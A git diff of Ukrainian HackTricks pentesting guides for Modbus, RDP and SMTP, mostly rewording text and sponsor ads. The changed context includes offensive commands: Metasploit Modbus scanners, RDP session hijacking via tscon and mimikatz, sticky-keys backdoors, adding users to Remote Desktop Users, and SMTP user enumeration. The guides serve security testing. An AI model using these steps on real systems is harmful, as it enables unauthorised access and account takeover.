**Знайдіть і повідомте про критичні, вразливі уразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -24,7 +24,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
# Основна інформація
|
||||
|
||||
У 1979 році **протокол Modbus** був розроблений компанією Modicon, слугуючи структурою повідомлень. Його основне використання полягає в полегшенні зв'язку між інтелектуальними пристроями, які працюють за моделлю майстер-раб/клієнт-сервер. Цей протокол відіграє важливу роль у забезпеченні ефективного обміну даними між пристроями.
|
||||
У 1979 році **протокол Modbus** був розроблений компанією Modicon, слугуючи структурою повідомлень. Його основне використання полягає в полегшенні зв'язку між інтелектуальними пристроями, що працюють за моделлю майстер-раб/клієнт-сервер. Цей протокол відіграє важливу роль у забезпеченні ефективного обміну даними між пристроями.
|
||||
|
||||
**Порт за замовчуванням:** 502
|
||||
```
|
||||
|
@ -38,23 +38,23 @@ msf> use auxiliary/scanner/scada/modbusdetect
|
|||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте погляд хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте за нами в** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Розроблений Microsoft, **Протокол віддаленого робочого столу** (**RDP**) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта **RDP**, а одночасно віддалений комп'ютер повинен працювати на програмному забезпеченні сервера **RDP**. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично переношуючи його інтерфейс на локальний пристрій користувача.
|
||||
Розроблений Microsoft, **Протокол віддаленого робочого столу** (**RDP**) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта **RDP**, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера **RDP**. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично виводячи його інтерфейс на локальний пристрій користувача.
|
||||
|
||||
**Порт за замовчуванням:** 3389
|
||||
```
|
||||
|
@ -44,11 +44,11 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
|
|||
|
||||
Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію NTLM Windows (версії).
|
||||
|
||||
### [Брутфорс](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||||
|
||||
**Будьте обережні, ви можете заблокувати облікові записи**
|
||||
|
||||
### **Розпилення паролів**
|
||||
### **Password Spraying**
|
||||
|
||||
**Будьте обережні, ви можете заблокувати облікові записи**
|
||||
```bash
|
||||
|
@ -72,9 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -92,9 +92,9 @@ query user
|
|||
```bash
|
||||
tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
Тепер ви будете всередині вибраної RDP-сесії і вам потрібно буде видати себе за користувача, використовуючи лише інструменти та функції Windows.
|
||||
Тепер ви будете всередині вибраної RDP-сесії і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows.
|
||||
|
||||
**Важливо**: Коли ви отримуєте доступ до активних RDP-сесій, ви виведете користувача, який її використовував.
|
||||
**Важливо**: Коли ви отримуєте доступ до активних RDP-сесій, ви виведете користувача, який їх використовував.
|
||||
|
||||
Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші RDP-сесії, відкриті на інших машинах...)
|
||||
|
||||
|
@ -109,7 +109,7 @@ ts::remote /id:2 #Connect to the session
|
|||
|
||||
Поєднуючи цю техніку з **stickykeys** або **utilman**, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час.
|
||||
|
||||
Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік, за адресою: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
Ви можете шукати RDP, які були зламані за допомогою однієї з цих технік, за адресою: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDP Process Injection
|
||||
|
||||
|
@ -127,12 +127,12 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** - це фреймворк після експлуатації, створений у Powershell, призначений в основному для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди** і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.
|
||||
**AutoRDPwn** - це фреймворк після експлуатації, створений на Powershell, призначений в основному для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди** і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* Контролюйте мишу та клавіатуру автоматизованим способом з командного рядка
|
||||
* Контролюйте буфер обміну автоматизованим способом з командного рядка
|
||||
* Створіть SOCKS-проксі з клієнта, який каналує мережеву комунікацію до цілі через RDP
|
||||
* Створіть SOCKS-проксі з клієнта, який каналує мережеве спілкування до цілі через RDP
|
||||
* Виконуйте довільні команди SHELL та PowerShell на цілі без завантаження файлів
|
||||
* Завантажуйте та завантажуйте файли до/з цілі, навіть коли передача файлів на цілі вимкнена
|
||||
|
||||
|
@ -157,15 +157,15 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -200,9 +200,9 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -216,7 +216,7 @@ RemoteCmd()
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## **Основна інформація**
|
||||
|
||||
**Протокол простого пересилання пошти (SMTP)** — це протокол, що використовується в рамках TCP/IP для **відправки та отримання електронної пошти**. Через свої обмеження в чергуванні повідомлень на стороні отримувача, SMTP часто використовується разом з **POP3 або IMAP**. Ці додаткові протоколи дозволяють користувачам зберігати повідомлення на серверному поштовому ящику та періодично їх завантажувати.
|
||||
**Простий протокол передачі пошти (SMTP)** — це протокол, що використовується в рамках TCP/IP для **відправки та отримання електронної пошти**. Через свої обмеження в чергуванні повідомлень на стороні отримувача, SMTP часто використовується разом з **POP3 або IMAP**. Ці додаткові протоколи дозволяють користувачам зберігати повідомлення на серверному поштовому ящику та періодично їх завантажувати.
|
||||
|
||||
На практиці, звичайно, **електронні поштові програми** використовують **SMTP для відправки електронних листів**, в той час як для їх отримання використовують **POP3 або IMAP**. На системах, що базуються на Unix, **sendmail** виділяється як SMTP-сервер, що найчастіше використовується для електронної пошти. Комерційний пакет, відомий як Sendmail, включає сервер POP3. Крім того, **Microsoft Exchange** надає SMTP-сервер і пропонує можливість включення підтримки POP3.
|
||||
|
||||
|
@ -79,7 +79,7 @@ NTLM supported
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
Або **автоматизуйте** це за допомогою плагіна **nmap** `smtp-ntlm-info.nse`
|
||||
Або **автоматизуйте** це за допомогою **nmap** плагіна `smtp-ntlm-info.nse`
|
||||
|
||||
### Внутрішнє ім'я сервера - Розкриття інформації
|
||||
|
||||
|
@ -104,7 +104,7 @@ MAIL FROM: me
|
|||
```
|
||||
### Sniffing
|
||||
|
||||
Перевірте, чи ви перехопили якийсь пароль з пакетів на порт 25
|
||||
Перевірте, чи можете ви перехопити деякі паролі з пакетів на порт 25
|
||||
|
||||
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
||||
|
||||
|
@ -171,7 +171,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -179,7 +179,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
|
||||
## Звіти DSN
|
||||
|
||||
**Звіти про статус доставки**: Якщо ви надішлете **електронний лист** до організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад до вас**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових служб, які взаємодіяли зі звітами, або інформація про антивірусне програмне забезпечення).
|
||||
**Звіти про статус доставки**: Якщо ви надішлете **електронний лист** до організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад вам**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових служб, які взаємодіяли зі звітами, або інформація про антивірусне програмне забезпечення).
|
||||
|
||||
## [Команди](smtp-commands.md)
|
||||
|
||||
|
@ -248,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
|||
|
||||
## SMTP Smuggling
|
||||
|
||||
Уразливість SMTP Smuggling дозволила обійти всі захисти SMTP (перевірте наступний розділ для отримання додаткової інформації про захисти). Для отримання додаткової інформації про SMTP Smuggling дивіться:
|
||||
Уразливість SMTP Smuggling дозволила обійти всі захисти SMTP (перевірте наступний розділ для отримання додаткової інформації про захист). Для отримання додаткової інформації про SMTP Smuggling дивіться:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
|
@ -267,14 +267,14 @@ SPF [був "декларований" у 2014 році](https://aws.amazon.com/
|
|||
Більше того, для повторного використання попередніх SPF записів досить поширено знайти щось на зразок `"v=spf1 include:_spf.google.com ~all"`
|
||||
{% endhint %}
|
||||
|
||||
**Sender Policy Framework** (SPF) — це механізм, який дозволяє агентам передачі пошти (MTA) перевіряти, чи авторизований хост, що надсилає електронний лист, запитуючи список авторизованих поштових серверів, визначених організаціями. Цей список, який вказує IP-адреси/діапазони, домени та інші сутності **авторизовані для відправки електронної пошти від імені доменного імені**, включає різні "**Механізми**" у SPF записі.
|
||||
**Sender Policy Framework** (SPF) — це механізм, який дозволяє агентам передачі пошти (MTA) перевіряти, чи авторизований хост, що надсилає електронний лист, запитуючи список авторизованих поштових серверів, визначених організаціями. Цей список, який вказує IP-адреси/діапазони, домени та інші сутності **авторизовані для відправки електронної пошти від імені доменного імені**, включає різні "**Механізми**" у записі SPF.
|
||||
|
||||
#### Механізми
|
||||
|
||||
З [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
||||
|
||||
| Механізм | Опис |
|
||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Завжди збігається; використовується для стандартного результату, як `-all` для всіх IP, які не збігаються з попередніми механізмами. |
|
||||
| A | Якщо доменне ім'я має адресний запис (A або AAAA), який може бути розв'язаний до адреси відправника, воно збігається. |
|
||||
| IP4 | Якщо відправник знаходиться в заданому діапазоні IPv4 адрес, збігається. |
|
||||
|
@ -293,7 +293,7 @@ SPF [був "декларований" у 2014 році](https://aws.amazon.com/
|
|||
Кожен механізм у політиці може бути префіксований одним з чотирьох кваліфікаторів для визначення бажаного результату:
|
||||
|
||||
* **`+`**: Відповідає результату PASS. За замовчуванням механізми припускають цей кваліфікатор, що робить `+mx` еквівалентним `mx`.
|
||||
* **`?`**: Представляє результат NEUTRAL, обробляється подібно до NONE (без конкретної політики).
|
||||
* **`?`**: Представляє результат NEUTRAL, обробляється аналогічно NONE (без конкретної політики).
|
||||
* **`~`**: Означає SOFTFAIL, служить середнім варіантом між NEUTRAL і FAIL. Електронні листи, які відповідають цьому результату, зазвичай приймаються, але позначаються відповідно.
|
||||
* **`-`**: Вказує на FAIL, що означає, що електронний лист слід відхилити.
|
||||
|
||||
|
@ -316,7 +316,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
|||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Традиційно було можливо підробити будь-яке ім'я домену, яке не мало правильного/жодного SPF запису. **Сьогодні**, якщо **електронна пошта** надходить з **домену без дійсного SPF запису**, її, ймовірно, **відхилять/позначать як ненадійну автоматично**.
|
||||
Традиційно було можливим підробити будь-яке ім'я домену, яке не мало правильного/жодного SPF запису. **Сьогодні**, якщо **електронна пошта** надходить з **домену без дійсного SPF запису**, її, ймовірно, **автоматично відхилять/позначать як ненадійну**.
|
||||
|
||||
Щоб перевірити SPF домену, ви можете використовувати онлайн-інструменти, такі як: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
|
@ -324,7 +324,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
|
|||
|
||||
DKIM використовується для підписування вихідних електронних листів, що дозволяє їх валідацію зовнішніми агентами передачі пошти (MTA) через отримання публічного ключа домену з DNS. Цей публічний ключ знаходиться в TXT записі домену. Щоб отримати цей ключ, потрібно знати як селектор, так і ім'я домену.
|
||||
|
||||
Наприклад, для запиту ключа необхідні ім'я домену та селектор. Ці дані можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`.
|
||||
Наприклад, для запиту ключа необхідні ім'я домену та селектор. Їх можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`.
|
||||
|
||||
Команда для отримання цієї інформації може виглядати так:
|
||||
```bash
|
||||
|
@ -353,7 +353,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
#### DMARC теги
|
||||
|
||||
| Назва тегу | Призначення | Приклад |
|
||||
| ----------- | --------------------------------------------- | -------------------------------- |
|
||||
| ----------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | Версія протоколу | v=DMARC1 |
|
||||
| pct | Відсоток повідомлень, що підлягають фільтрації | pct=20 |
|
||||
| ruf | URI звіту для судово-медичних звітів | ruf=mailto:authfail@example.com |
|
||||
|
